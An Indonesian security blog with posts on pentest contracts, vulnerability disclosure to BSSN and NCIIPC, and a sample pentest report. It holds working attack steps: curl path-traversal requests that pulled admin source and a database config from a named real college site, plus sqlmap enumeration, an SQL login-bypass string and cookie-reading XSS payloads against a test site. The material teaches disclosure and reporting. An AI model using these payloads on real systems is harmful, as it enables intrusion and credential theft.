No More Yukinoshita 47. I'm Done

If You Found Every Social Media Platform Using "Yukinoshita 47" Name That's The Other Guy.

Copyright © Yukinoshita 47 | Published By Gooyaabi Templates | Powered By Blogger
Design by WebSuccessAgency | Blogger Theme by NewBloggerThemes.com | BTheme.net

My Motivation

My Motivation



Seal

Always Trust Yourself And Use Your Opportunity



Tampilkan postingan dengan label Bug Hunting. Tampilkan semua postingan
Tampilkan postingan dengan label Bug Hunting. Tampilkan semua postingan

Senin, 11 Mei 2020

Apa Yang Harus Dilakukan Sebelum Melakukan Kegiatan Kerja Pentest Atau Vulnerability Assestment ?




Statement Of Work atau "SOW" atau bahasa sederhana nya Surat Perjanjian Kerja / SPK adalah dokumen kunci untuk Kegiatan Kerja Pentest Atau Vulnerability Assestment lu pade. Jika lu berada pada tahap melaksanakan SOW, itu berarti lu telah menyelesaikan proses pemeriksaan dan akan mengunci vendor atau pemberi kerja supaya tidak ngeles dan menjebak lu lewat celah hukum yang ada. 

nah element dari SOW ini adalah Scope, Deliverables, Price, Completion Date, Location of Work, dan Payment Schedule dan akan gw jelasin secara ringkas aja sorry kalo kurang profesional kalimat nya awkwkwkwk.

  1. Scope : Scope adalah ruang lingkup yang menjadi objek Kegiatan Kerja Pentest Atau Vulnerability Assestment seperti alamat IP, URL, Domain, Subdomain, dan Frekuensi Jaringan Tertentu dimana lu akan diarahkan oleh Pemberi Kerja apa aja yang boleh di scan atau attack dan mana yang tidak boleh tergantung kebijakan pemberi kerja nya untuk yang ini.
  2. Deliverables adalah penyampaian laporan Kegiatan Kerja  Pentest Atau Vulnerability Assestment umumnya  harus mencakup ringkasan eksekutif dan laporan temuan teknis.

  3. Price adalah harga nilai pekerjaan SOW ini tergantung kebijakan pemberi kerja karena beda Instansi / Perusahaan / Pemilik Asset IT pasti berbeda kebijakan finansial nya tergantung nego lu aja lagi.
  4. Completion Date ini adalah tenggat waktu kerja yang harus lu selesaikan jika lu tidak menyelesaikan proses kerja dan laporan Pentest Atau Vulnerability Assestment dengan tepat waktu maka bisa aja lu kena pinalti berupa pengurangan pembayaran invoice tergantung kebijakan pemberi kerja nya juga untuk yang ini.
     
  5. Location of Work ini lokasi tempat kegiatan kerja Pentest Atau Vulnerability Assestment lu ya bisa secara Remote dari jarak jauh atau onsite di tempat Pemberi Kerja tergantung kebijakan pemberi kerja nya juga untuk yang ini.
     
  6. dan Payment Schedule adalah jadwal pembayaran dari pekerjaan ini tergantung kebijakan pemberi kerja nya juga untuk yang ini contoh bisa aja setelah lu submit laporan kerja ke pemberi kerja lu kirim invoice ke pemberi kerja maka pemberi kerja selambat-lambatnya akan membayar dengan tenggat waktu 14 Hari Kerja.
Nah demikian penjelasan SOW ini semoga lu lebih bijak lagi dalam mencari job ginian karena lu tau sendiri industri keamanan siber di negara +62 ini terparah sejagad raya jadi jangan mau dijadikan tumbal oleh CISO-CISO di perusahaan-perusahaan di negara +62 ini.

perbedaan Pentest dan Vulnerability Assestment serta contoh surat dokumen statement of work ini akan gw bahas di artikel berikutnya .

terimakasih

Senin, 03 Juni 2019

Android : Audit Keamanan Website Dengan Vulners Scanner


Halo gaes kembali lagi dengan gw Yukinoshita47 kali ini gw mau share tutorial di Android lagi kali ini mengenai tools yang mendukung aktivitas pentest kalian di platform Android dan langsung aja kita mulai.

Pertama install Vulners Scanner dari Playstore.


Input url target pentest lu kemudian tekan enter atau klik tanda ➡ 


Kemudian nanti akan muncul informasi nilai Resiko bug yang ada di target lu.


Jika lu tekan pemberitahuan platform yang ada bug nya contoh disini php - 5.3.29 maka akan muncul informasi jenis bug, nomor CVE, dan skor/nilai resiko nya seperti gambar dibawah.


Dan untuk mengextract atau generate laporan scanner nya tekan report.


Dan laporan ouput scanner tersebut akan muncul dalam bentuk PDF dan bisa digunakan sebagai lampiran bukti pendukung laporan pentest kalian.



Cukup mudah kan Wkwkwkwkwk namun sebaik nya jika informasi dari tool ini web target pentest nya ada bug ya kalian harus uji bug tersebut atau exploitasi atau analisa bug nya secara manual karena informasi output dari tools pentest bisa jadi berpotensi informasi false positive yg artinya bug tidak ada namun dibilang ada oleh tools nya.

Oke cukup sampai disini dulu sampai jumpa di tutor berikut nya.

Sekian dan terimakasih.


Rabu, 29 Mei 2019

Selasa, 28 Mei 2019

Bug Hunting : Sensitive Arbitrary File Download www.agcbosecollege.org - NCIIPC RVDP

Ok gaes kali ini gw mau sharing segmen baru yaitu Bug Hunting ya gw sebenarnya bukan pengikut kaum bug hunter sih yang main nya di HackerOne, Redstorm dan kawan-kawan nya karena gw masih belajar jadi gak pede ikutan gituan  :v  

dan kebetulan sekali karena aktivitas bug hunting ini gw kenal dengan lembaga cyber india namanya NCIIPC (National Critical Information Infrastructure Protection Centre) gw mikirnya gini kalo nemu site indo berarti lapornya ke BSSN karena ini site india ya gw lapor nya ke NCIIPC lah wkwkwkkwkw.



NCIIPC menjalankan Program Responsible Vulnerability Disclosure Program (RVDP) untuk melaporkan segala Kerentanan dalam Infrastruktur Informasi Penting yang dapat menyebabkan akses, modifikasi, penggunaan, pengungkapan, gangguan, ketidakmampuan, ketidakmampuan, atau gangguan yang sama.
Dengan melaporkan kerentanan di Sektor Kritis, kita menjadi bagian dari keluarga besar NCIIPC. NCIIPC akan mengakui kontribusi kita dengan tepat.

sisanya bisa lu baca disini : http://www.nciipc.gov.in/RVDP.html 

nah kali ini gw iseng nemu bug di web nya di https://www.agcbosecollege.org/ karena bug nya udah di patch yaudah langsung aja gw rilis artikel nya dan ini penampakan web nya.


gw iseng download file di web nya nah karena di url nya begini 



https://www.agcbosecollege.org/?file=/home1/sysconin/public_html/agcbosecollege/attachment/1 

bagian ini  
?file=/home1/sysconin/public_html/agcbosecollege/attachment/1  

membuat gw tertarik untuk mencoba menelusuri lebih dalam lagi dan gw coba untuk mendownload admin page nya dengan perintah

curl https://www.agcbosecollege.org/?file=/home1/sysconin/public_html/agcbosecollege/admin/index.php

kemudian tekan enter dan source code php nya pun muncul wkwkwkkw


selanjutnya gw coba intip lagi pada bagian admin_utils.php dengan perintah

curl https://www.agcbosecollege.org/?file=/home1/sysconin/public_html/agcbosecollege/admin/admin_utils.php

kemudian tekan enter dan berhasil keliatan dimana lokasi config database nya 


dan gw langsung intip config database nya

curl https://www.agcbosecollege.org/?file=/home1/sysconin/public_html/agcbosecollege/admin/includes/config.php

kemudian tekan enter dan keliatan deh db_name nya, db_user, db_pass nya, dan db_host juga wkwkwkwkwk. 


Dan sampai disini gw cari bug lain tp gak nemu yaudah gw lapor langsung ke NCIIPC gw kirim email file pdf dan bukti pendukung ke admin web dan NCIIPC rvdp@nciipc.gov.in



setelah bilang makasih trus ngilang gak ada kabar dan gak ada angin gak ada hujan NCIIPC email gw untuk ngisi form buat update database mereka sebagai NCIIPC cyber security researcher dan security professional. 

gw sendiri gak tau apa maksudnya ya mungkin aja ada sesuatu yang menarik nanti di kemudian hari wkwkwkwkwk.


Timeline
- 26 April 01:00 AM [Found Bug]

- 26 April 02:16 AM [Reporting]

- 26 April 10:27 AM [NCIIPC Say Thanks]

- Unconfirmed Date And Time [ Bug Fixed ]

- 22 May 13:39 PM [NCIIPC Asking Me For Name, Profession, Email ID, Mobile Number, And Location For Updating Database of NCIIPC Cyber Security Researcher And Security Professional ]

- Reward ?? [I Can't Confirm]

oke cukup sampai disini aja ya sekian dan terimakasih

Badan Siber Sandi Negara : Sharing Session VOLUNTARY VULNERABILITY DISCLOSURE PROGRAM


Mungkin sebelum nya kalian sudah mempelajari secara teknis bagaimana caranya untuk menjadi bagian dari partisipan V2DP nya BSSN di link ini : https://yukinoshita47.blogspot.com/2019/05/cara-mendapatkan-sertifikat-v2dp-dari.html

kali ini gw mau sharing dokumen formal dari BSSN mengenai peraturan, dasar hukum, dan statistik data mengenai V2DP nya BSSN



Minggu, 26 Mei 2019

Cara Mendapatkan Sertifikat V2DP dari Badan Siber Dan Sandi Negara



Halo gaes kembali lagi dengan gw Yukinoshita 47 kali ini gw mau buat panduan / cheatsheet bagaimana cara mendapatkan sertifikat dari BSSN ok langsung aja kita mulai sebelum kita lanjut marik kita lihat tanggapan dan informasi dari 2 tokoh heker indonesia ini.

(Gambar 6.9 : Tanggapan Bapak Hacker Indonesia Sultan Haikal mengenai reporting bug ke BSSN - karena Bapak Hacker Indonesia gak tau atau pura-pura gak tau caranya yaudah gw aja yang jelasin )



(Gambar 6.9.6.9 : Tanggapan Abangnya Para Hacker Indonesia GrenXparta mengenai reporting bug ke BSSN - Penjelasan Abang kita ini level bahasa nya kelihatannya hanya untuk ahlinya ahli intinya inti dan core of the core sehingga buat kalangan pemula kayak kita sulit untuk memahami informasinya dan disini gw jelasin detail nya)


Tujuan gw bikin artikel ini ya buat menghimbau kepada kalian yang masih sibuk kejar setoran zone-h ataupun defacer.id ya sebaiknya kalian tinggalkan kegiatan negatif dan merugikan itu sebagai ganti nya jika lu menemukan bug di web indonesia laporkan aja ke BSSN biar lu menjadi bagian dari partisipan dari program V2DP nya BSSN dan kegiatan lu lebih positif lagi.



V2DP/VVPD adalah singkatan dari Voluntary Vulnerability Disclosure Program yang diselenggarakan oleh Badan Siber Dan Sandi Negara, yaitu program sukarela bilamana kalian menemukan dan melaporkan kerentanan pada website berdomisili indonesia, sebagai contoh yaitu website pemerintahan, militer, kepolisian, industri perusahaan BUMN/BUMD, dan sektor lain nya.

Program VVDP (Voluntary Vulnerability Disclosure Program) merupakan program untuk menerima bantuan dari para komunitas kepada BSSN (Badan Siber Dan Sandi Negara) terkait adanya bug dari suatu sistem.



Memang prosesnya sedikit memakan waktu yang cukup lama, karena Tim BSSN sendiri memerlukan jeda waktu untuk berkomunikasi serta patching (yang diinformasikan secara formal) dengan divisi/owner terkait aplikasi tersebut.Dengan Ketentuan : sesuai dengan perpres no 53 Tahun 2017 , BBSN secara umum menangani 3 sektor , yaitu Sektor Pemenrintahan , Sektor Infrastruktur Informasi Kritikal Nasional dan Sektor Ekonomi Digital.

Nah gw yakin ini pasti banyak yang langsung nyari bug di domain go.id dan mil.id nih wkwkwkwk.

Nah Bagaimana cara melaporkannya?

1. Laporan Pentest dalam bentuk Dokumen PDF. bisa kalian pelajari disini https://yukinoshita47.blogspot.com/2019/05/cara-mudah-membuat-laporan-pentest-dan.html
2. Lampiran Pendukung Laporan Pentest Seperti Log, Output Tools, Screenshot, Capture Video Desktop dan Lainnya.
3. Nama Lengkap, NIK KTP, dan No HP
4. IP Address Public Saat Melakukan Pentest.
5. Hari, Tanggal, dan Jam Saat Melakukan Pentest.

Lima data diatas tadi bisa langsung kalian kirim ke BSSN via email pusopskamsinas@bssn.go.id atau bantuan70@bssn.go.id

Nama Asli, NIK KTP dan nomor handphone jg wajib diberitahu agar pihak BSSN bisa menangani lebih lanjut mengenai laporan bug yg lu infokan.

Mengapa Mengapa IP Address Public Saat Melakukan Pentest dan Hari, Tanggal, dan Jam Saat Melakukan Pentest perlu diinfokan juga ?

Pendataan tersebut perlu BSSN lakukan, jika pemilik web / sistem IT menemukan anomaly atau suspicious behaviour terhadap sistem nya ataupun pada log aktivitas sistem nya, sehingga BSSN bisa menjelaskan bahwa itu merupakan bagian dari aktivitas VVDP/V2DP.

Sehingga kasus miskomunikasi seperti yang dialami Arik Alfiki tidak akan terjadi lagi lebih jelas nya https://www.kompasiana.com/ronyussihite/5cc053653ba7f7087b50edb2/ada-apa-dengan-muhammad-arik-alfiki-dan-situs-kpu

Gw saranin setelah lu melapor ke BSSN jangan lu sentuh lagi web / ataupun sistem IT yg lu laporin itu untuk mencegah kejadian yang tidak diinginkan dan file laporan jangan diplublikasi sebelum mendapatkan izin dari pihak terkait.



Setelah laporan lu diterima dan diproses oleh pihak BSSN biasanya pegawai BSSN akan kontak lu via WhatsApp ataupun Email untuk konfirmasi alamat lengkap domisili lu untuk pengiriman sertifikat dan reward.


sorry nama di sertifikat nya gw sensor ya :v
untuk menjaga kode etik jurnalistik

Ok Sampai disini aja ya Sekian dan terimakasih.


Cara Mudah Membuat Laporan Pentest Dan Vulnerability Disclosure



Hai gaes kembali lagi dengan gw Yukinoshita 47 kali ini gw ingin membuat tutorial sederhana gimana Cara Mudah Membuat Laporan Pentest btw ini laporan versi gw sendiri jika ada versi yang lebih baik dari gw mending lu ikuti aja versi yang lebih baik itu karena jujur aja gw sejauh ini belum ada yang ngajarin gw gimana cara membuat laporan pentest itu sehingga gw sendiri yang belajar secara otodidak sendirian.

Sebelum nya gw ingatkan melaporkan bug itu tidak boleh di expose seperti ini karena melanggar standar ethical hacking dan cyber security awareness tolong ingatin kepada yang lainnya jg. 


Dalam pelaporan pentest versi gw laporan itu dibuat dalam bentuk dokumen PDF dilampiri bukti pendukung seperti log, output tools, dan lain-lainnya

susunan dokumen tersebut adalah

  1. Cover Judul  (Logo jika ada)
  2. Kata Pengantar 
  3. Daftar Isi 
  4. Latar Belakang (copas jg boleh asalkan lu bisa jelasin jika disuruh presentasi)
  5. Profil Target Pentest (bisa copas dari google jika target ada info dan profil nya)
  6. Information Gathering dan Security Audit Dasar
  7. Laporan Temuan Bug
  8. Dampak Dan Resiko Bug (boleh copas jg asalkan lu bisa jelasin jika disuruh presentasi)
  9. Solusi (jika ada)
  10. Penutup
    Lampiran Bukti Pendukung (log pentest, dan lainnya)
laporan tersebut dikirim secara rahasia kepada admin via email atau private message karena untuk menjaga kerahasiaan informasi bug dan keamanan bersama.

sekali lagi gw tegaskan yang gw jelasin dan contohin dibawah ini adalah versi gw ingat ya kalo pun beda dengan yang lain maklumi aja.

ok kita mulai

----------------------------------------------------------------------



LAPORAN PENTEST & VULNERABILITY DISCLOSURE 
PT. ABAL ABAL 

DISUSUN OLEH

YUKINOSHITA 47

----------------------------------------------------------------------

KATA PENGANTAR

Assalamu’alaikum warahmatullahi wabarakatuh 

Segala puji bagi Allah SWT yang telah memberikan kami kemudahan sehingga kami dapat menyelesaikan makalah ini dengan tepat waktu. Tanpa pertolongan-Nya tentunya kami tidak akan sanggup untuk menyelesaikan makalah ini dengan baik. Shalawat serta salam semoga terlimpah curahkan kepada baginda tercinta kita yaitu Nabi Muhammad SAW yang kita nanti-natikan syafa’atnya di akhirat nanti. 

Penulis mengucapkan syukur kepada Allah SWT atas limpahan nikmat sehat-Nya, baik itu berupa sehar fisik maupun akal pikiran, sehingga penulis mampu untuk menyelesaikan pembuatan Laporan Pentest Dan Vulnerability Disclosure ini.

Penulis tentu menyadari bahwa laporan ini masih jauh dari kata sempurna dan masih banyak terdapat kesalahan serta kekurangan di dalamnya. Untuk itu, penulis mengharapkan kritik serta saran dari pembaca untuk laporan ini, supaya laporan ini nantinya dapat menjadi laporan yang lebih baik lagi. Demikian, dan apabila terdapat banyak kesalahan pada laporan ini penulis mohon maaf yang sebesar-besarnya. 


Demikian, semoga laporan ini dapat bermanfaat. Terima kasih. 

----------------------------------------------------------------------

DAFTAR ISI

1. Judul.............................................. xx
2. Kata Pengantar............................. xx
3. Daftar Isi....................................... xx
4. Latar Belakang............................. xx
5. Profil PT. ABAL ABAL................... xx
6. Information Gathering
    dan Security Audit Dasar............... xx

7. Laporan Temuan Bug.................... xx
8. Dampak dan Resiko Bug................ xx
9. Solusi.............................................. xx
10. Penutup......................................... xx
Lampiran pentest log sheet

----------------------------------------------------------------------

LATAR BELAKANG

Sebelum memulai saya ingin menjelaskan terlebih dahulu latar belakang dan penjelasan dari kegiatan Pentest dan Vulnerability Disclosure ini.

(Gambar : Ilustrasi Pentest)
 
Penetration testing adalah serangkaian proses berisi prosedur dan teknik mengevaluasi keamanan terhadap sistem komputer atau jaringan dengan melakukan simulasi penyerangan untuk mengetahui letak celah-celah kerawanan pada sistem agar kemudian celah tersebut ditutup/diperbaiki. Penetration testing dilakukan sebagai langkah preventive untuk mengatasi terjadinya peretasan pada suatu sistem.

(Gambar : Diagram Alur Pentest)

Secara umum penetration testing terdiri dari 4 tahap, yakni planning, information gathering, vulnerability assessment,Exploiting, dan reporting.

Di tahap planning. biasanya dibicarakan ruang lingkup pentest, jangka waktu, dokumen legal (NDA), jumlah tim yang dibutuhkan serta apakah staff dan karyawan diberitahukan terlebih dahulu atau tidak tentang adanya pentest, dll.

Langkah berikutnya adalah information gathering dan analysis. Pada tahapan ini dikumpulkan semua informasi tentang sistem target. Ada banyak alat bantu yang bisa digunakan. Kemudian dilakukan network survey untuk mengumpulkan informasi domain, server, layanan yang ada, ip address, host, firewall, dll.

Selanjutnya adalah vulnerability assessment. Setelah mengetahui informasi tentang sistem, pencarian celah keamanan bisa dilakukan manual atau secara automatis tergantung pada tools yang digunakan.

Setelah menemukan celah keamanan, maka langkah berikutnya exploit, yakni percobaan penyerangan (penetration attempt). Pada proses ini dilakukan penentuan target, pemilihan tools dan exploit yang tepat. Umumnya diperlukan juga kemampuan password cracking. Cara lain yang dapat dilakukan adalah dengan melakukan social engineering dan pengujian physical security dari sistem.

Terakhir adalah Reporting. Laporan berisi langkah kerja yang dilakukan, celah keamanan yang ditemukan serta usulan perbaikan. Tahapan selanjutnya biasanya tindak lanjut, yang biasanya harus dilakukan bersama-sama dengan admin untuk memperbaiki sistem.

Penetration testing berbeda dengan sekedar hacking atau cracking. Pentestdilakukan secara legal, dapat dipertanggungjawabkan, dan memiliki tujuan yang tidak melanggar hukum.


----------------------------------------------------------------------

PROFIL PT. ABAL ABAL

PT. ABAL ABAL adalah perusahaan teknologi yang memiliki cabang diseluruh dunia termasuk indonesia perushaan ini adalah perusahaan pembayar pajak terbesar di dunia.

dan PT. ABAL ABAL memiliki 69 Juta Karyawan di seluruh indonesia karena perusahaan ini memiliki motto mari berantas pengangguran di indonesia

saat ini nilai aset kekayaan PT. ABAL ABAL adalah 69 Triliun US Dollar dan Laporan keuangan nya selalu mendapatkan predikat Wajar Tanpa Pengecualian

----------------------------------------------------------------------

INFORMATION GATHERING DAN SECURITY AUDIT DASAR

pada tahap awal pentest saya melakukan aktivitas Information gathering dan security audit terlebih dahulu terhadap wesbite milit PT. ABAL ABAL yang berlamatkan di testphp.vulnweb.com.

tahap awal saya melakukan information gathering dengan dmitry

┌─[root@parrot]─[/home/user]
└──╼ #dmitry testphp.vulnweb.com

dan hasil nya adalah

Gathered TCP Port information for 176.28.50.165
---------------------------------

 Port        State

21/tcp        open
22/tcp        open
53/tcp        open
80/tcp        open
106/tcp        open
110/tcp        open
143/tcp        open

Portscan Finished: Scanned 150 ports, 141 ports were in state closed


jika port tersebut ada yang tidak penting untuk digunakan silahkan ditutup

selanjut nya saya ingin mengetahui webserver yang digunakan oleh PT. ABAL ABAL platform nya seperti apa maka saya gunakan whatweb untuk mencari informasi nya.

┌─[root@parrot]─[/home/user]
└──╼ #whatweb testphp.vulnweb.com

dan hasil nya adalah  jenis platform yang terdapat di website PT. ABAL ABAL adalah :

http://testphp.vulnweb.com [200 OK]
ActiveX[D27CDB6E-AE6D-11cf-96B8-444553540000],
Adobe-Flash, Country[GERMANY][DE],
Email[wvs@acunetix.com],
HTTPServer[nginx/1.4.1],
IP[176.28.50.165],
Object[http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0]
[clsid:D27CDB6E-AE6D-11cf-96B8-444553540000],
PHP[5.3.10-1~lucid+2uwsgi2],
Script[text/JavaScript],
Title[Home of Acunetix Art],
X-Powered-By[PHP/5.3.10-1~lucid+2uwsgi2],
nginx[1.4.1]


Selanjut nya saya menganalisa platform firewall apakah yang ada di balik website milik PT. ABAL ABAL ini.

┌─[root@parrot]─[/home/user]
└──╼ #wafw00f http://testphp.vulnweb.com

dan hasil nya adalah platform firewall yang ada dibalik web PT. ABAL ABAL adalah F5-BIG IP LTM
 

Kemudian saya mencoba untuk menganalisa lagi apakah ada load ballancing di webserver nya milik PT. ABAL ABAL ini

┌─[✗]─[root@parrot]─[/home/user]
└──╼ #lbd testphp.vulnweb.com

dan hasil nya adalah webserver milik PT. ABAL ABAL tidak memiliki load ballancing.


kemudian saya mencoba untuk melakukan security audit dasar dengan nikto

┌─[root@parrot]─[/home/user]
└──╼ #nikto -h testphp.vulnweb.com

dan hasil nya adalah

The anti-clickjacking X-Frame-Options, The X-XSS-Protection header (yang berfungsi untuk mencegah serangan XSS), The X-Content-Type-Options header, dan Server leaks inodes via ETags tidak ada di website milik PT. ABAL ABAL. 



----------------------------------------------------------------------

LAPORAN TEMUAN BUG

Pada tahap ini saya melaporkan temuan bug hasil dari beberapa prosedur uji pentest yang saya lakukan berikut detail bug yang saya temukan.

pada bagian search saya melakukan uji coba HTML Injection pada kolom search di website PT. ABAL ABAL yang beralamatkan di http:// testphp.vulnweb.com di sisi bagian kolom search nya saya inject code HTML yaitu <h1>Uji HTML Injection</h1><img src="http://www.toddhenry.com/wp-content/uploads/2011/08/20100415-june-bug.jpg"> dan hasil output nya terlihat seperti gambar dibawah ini menandakan website milik PT. ABAL ABAL ini memiliki kerentanan bug HTML INJECTION.


langkah selanjut nya saya menguji coba Bypass Login Authentication pada login page yang beralamatkan di http://testphp.vulnweb.com/login.php username saya input '=' 'or' dan password nya saya inpur '=' 'or' 


dan saya berhasil masuk di situ milik PT. ABAL ABAL ini juga memiliki kerentanan Bypass Login Authentication.


dan juga pada bagian kolom search nya saya uji coba lagi apakah ada bug XSS di website ini untuk memastikan nya apda kolom search nya saya inject <script>alert("XSS")</script> dan <script>alert(document.cookie)</script> muncul alert pop up XSS nya seperti gambar dibawah ini kesimpulan nya adalah website milik PT. ABAL ABAL juga memiliki bug XSS



Selanjut nya saya melihat di laman http://testphp.vulnweb.com/disclaimer.php terdapat pesan error SQL yaitu : Warning: mysql_connect(): Lost connection to MySQL server at 'reading initial communication packet', system error: 111 in /hj/var/www/database_connect.php on line 2 Website is out of order. Please visit back later. Thank you for understanding.


untuk memastikan apakah website milik PT. ABAL ABAL ini memiliki bug SQL Injection atau tidak nya saya pun melalukan prosedur pentest SQL Injection pada laman http://testphp.vulnweb.com/artists.php?artist=1

┌─[root@parrot]─[/home/user]
└──╼ #sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs

dan hasil nya terdapat 2 database yaitu :
  • acuart
  • information_schema
 

selanjut nya saya menginject database acuart

┌─[root@parrot]─[/home/user]
└──╼ #sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables

dan hasil nya saya menemukan tabel

artists
categ
featured
guestbook
pictures
products
users


selanjut nya saya menginject tabel users.

┌─[root@parrot]─[/home/user]
└──╼ #sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns

dan saya menemukan kolom

address
cart
cc
email
name
pass
phone
uname


Dan cukup sampai disini saya tidak melakukan dump pada kolom nya karena melanggar hukum disini kesimpulan nya bahwa website milik PT. ABAL ABAL juga memiliki kerentanan SQL Injection

----------------------------------------------------------------------

DAMPAK DAN RESIKO BUG

Temuan jenis bug di website milik PT. ABAL ABAL adalah Multiple Vulnerabilities yaitu HTML Injection, XSS, Bypass Login Authentication, dan SQL Injection

(Gambar : Konsep dan Skenario Dampak Resiko Bug HTML Injection)

HTML Injection adalah jenis masalah injeksi yang terjadi ketika pengguna dapat mengontrol titik input dan mampu menyuntikkan kode HTML sewenang-wenang ke halaman web yang rentan. Kerentanan ini dapat memiliki banyak konsekuensi, seperti pengungkapan cookie sesi pengguna yang dapat digunakan untuk menyamar sebagai korban, atau, secara lebih umum, dapat memungkinkan penyerang untuk memodifikasi konten halaman yang dilihat oleh para korban.

Kerentanan ini terjadi ketika input pengguna tidak dibersihkan dengan benar dan output tidak dikodekan. Suntikan memungkinkan penyerang untuk mengirim halaman HTML berbahaya ke korban. Peramban yang ditargetkan tidak akan dapat membedakan (mempercayai) legit dari bagian jahat dan akibatnya akan menguraikan dan mengeksekusi semua sebagai legit dalam konteks korban.

Ada berbagai metode dan atribut yang dapat digunakan untuk membuat konten HTML. Jika metode ini dilengkapi dengan input yang tidak terpercaya, maka ada risiko tinggi XSS, khususnya yang injeksi HTML. Kode HTML berbahaya dapat disuntikkan misalnya melalui innerHTML, yang digunakan untuk membuat kode HTML yang dimasukkan pengguna. Jika string tidak dibersihkan dengan benar, masalahnya dapat mengarah pada injeksi HTML berbasis XSS. Metode lain dapat berupa document.write ()

(Gambar : Konsep Serangan XSS)

XSS adalah Cross-Site Scripting (XSS) adalah jenis suntikan, di mana skrip jahat disuntikkan ke situs web yang jinak dan tepercaya. Serangan XSS terjadi ketika penyerang menggunakan aplikasi web untuk mengirim kode berbahaya, umumnya dalam bentuk skrip sisi browser, ke pengguna akhir yang berbeda. Kelemahan yang memungkinkan serangan ini berhasil cukup luas dan terjadi di mana saja aplikasi web menggunakan input dari pengguna dalam output yang dihasilkannya tanpa memvalidasi atau menyandikannya.

Penyerang dapat menggunakan XSS untuk mengirim skrip berbahaya ke pengguna yang tidak curiga. Browser pengguna akhir tidak memiliki cara untuk mengetahui bahwa skrip tidak boleh dipercaya, dan akan menjalankan skrip. Karena menganggap skrip berasal dari sumber tepercaya, skrip jahat dapat mengakses cookie apa pun, token sesi, atau informasi sensitif lainnya yang disimpan oleh browser dan digunakan dengan situs itu


XSS merupakan kode HTML atau Client Script yang diinjeksikan penyerang pada suatu website. Akibatnya penyerang dapat melewati keamanan di sisi klien, mendapatkan informasi sensitif, dan bahkan menyisipkan aplikasi berbahaya.

Sebagai contoh saja. Kalau website punya chat box atau comment box, Pemilik website harus berhati-hati dengan karakter yang bisa di terima oleh input box. Jika setelah seseorang coba memasukan komen atau pesan pada chat box dengan contoh script berikut
<script type="text/javascript">javascript:alert('xss');</script>

Ada juga script yang disisipkan di tag html, contohnya tag img, seperti berikut
<img alt="" src="javascript:alert('XSS');" />

Jika berhasil tersimpan dan setelah web page di-reload keluar popup atau alert yang berisikan "xss" maka positif web page rawan dengan serangan XSS.

Penyerang bisa saja menambahkan client script untuk redirect website ke web milik peyerang untuk menambah trafic atau backlink ke web page penyerang. Ya tentunya tujuan penyerang adalah untuk mengganggu atau mendapatkan keuntungan dari web page tersebut.
 

Kategori XSS

Serangan XSS di kategorikan menjadi dua, yaitu Presistent dan Non-Presistent. Contoh di atas termasuk serangan presistent dikarenakan serangan berdampak permanen karenan script diinjek ke database atau secondary storage. Sedangkan pada serangan Non-Persistent membutuhkan aktifitas social oleh si penyerang kepada calon korban, dan bersifat sementara(tidak permanen), 

 


(Gambar : Ilustrasi Bypass Login Authentication)




Bypass Login Authentication adalah teknik dimana queri sql dipaksa dimasukanpada form login yang nantinya akan dibaca oleh komputer sebagai sebuah intruksi login (karena intruksinya memaksa, jadi tanpa user&pass pun komputer akan memprosesnya)

Contoh login website dengan username ‘=’ ‘or’ dan password ‘=’ ‘or’ dan si penyerang berhasil masuk ke admin panel website tersebut tanpa harus menginput uasername dan password yang benar.

(Gambar : Konsep Serangan SQL Injection)

SQL Injection (SQLi) adalah jenis serangan injeksi yang memungkinkan untuk mengeksekusi pernyataan SQL berbahaya. Pernyataan ini mengontrol server basis data di belakang aplikasi web. Penyerang dapat menggunakan kerentanan SQL Injection untuk memotong langkah-langkah keamanan aplikasi. Mereka dapat berkeliling otentikasi dan otorisasi halaman web atau aplikasi web dan mengambil konten dari seluruh database SQL. Mereka juga dapat menggunakan SQL Injection untuk menambah, memodifikasi, dan menghapus catatan dalam database.

Kerentanan
SQL Injection dapat memengaruhi situs web atau aplikasi web apa pun yang menggunakan database SQL seperti MySQL, Oracle, SQL Server, atau lainnya. Penjahat dapat menggunakannya untuk mendapatkan akses tidak sah ke data sensitif Anda: informasi pelanggan, data pribadi, rahasia dagang, kekayaan intelektual, dan banyak lagi. Serangan SQL Injection adalah salah satu kerentanan aplikasi web tertua, paling lazim, dan paling berbahaya. Organisasi OWASP (Proyek Keamanan Aplikasi Web Terbuka) mencantumkan injeksi dalam dokumen OWASP Top 10 2017 sebagai ancaman nomor satu terhadap keamanan aplikasi web.

SQL Injection adalah teknik yang menyalahgunakan celah keamanan yang ada pada lapisan basis data sebuah aplikasi. Celah ini terjadi ketika input dari pengguna tidak disaring secara benar, contohnya adalah kolom username yang seharusnya hanya diisi dengan huruf atau angka tapi malah diisi dengan karakter lain (seperti: – = ’) sehingga penyerang menggunakan celah tersebut dengan cara memasukan query dari SQL.

SQL Injection selalu menjadi teknik penyerangan terfavorit sebagian besar hacker dari tahun ke tahun, disamping karena semakin sulitnya hacker melakukan serangan melalui jaringan yang disebabkan oleh semakin canggihnya perangkat-perangkat pertahanan dari target (contoh: firewall, IDS, UTM, dll), SQL Injection juga sangat mudah dilakukan karena masih banyak web programmer yang masih kurang “aware” terhadapnya.
  
----------------------------------------------------------------------

SOLUSI

 (Gambar : Konsep Cyber Security)

Cara Mencegah HTML Injection

Bagaimana Mencegah HTML Injection ?

Tidak ada keraguan, bahwa alasan utama serangan ini adalah kurangnya perhatian developer dan kurangnya pengetahuan. Jenis serangan injeksi ini terjadi ketika input dan output tidak divalidasi dengan benar. Oleh karena itu aturan utama untuk mencegah serangan HTML adalah validasi data yang sesuai.


Setiap input harus diperiksa jika mengandung kode skrip atau kode HTML apa pun. Biasanya sedang diperiksa, jika kode tersebut mengandung skrip khusus atau tanda kurung HTML - <script> </script>, <html> </html>.

Ada banyak fungsi untuk memeriksa apakah kode tersebut mengandung tanda kurung khusus. Pemilihan fungsi pemeriksaan tergantung pada bahasa pemrograman yang Anda gunakan.

Perlu diingat, bahwa pengujian keamanan yang baik juga merupakan bagian dari pencegahan. Saya ingin memperhatikan, karena serangan HTML Injection sangat jarang, ada lebih sedikit literatur untuk mempelajarinya dan lebih sedikit pemindai untuk dipilih untuk pengujian otomatis. Namun, bagian dari pengujian keamanan ini benar-benar tidak boleh dilewatkan, karena Anda tidak pernah tahu kapan itu bisa terjadi.Referensi Lebih detail nya :








Cara Mencegah XSS

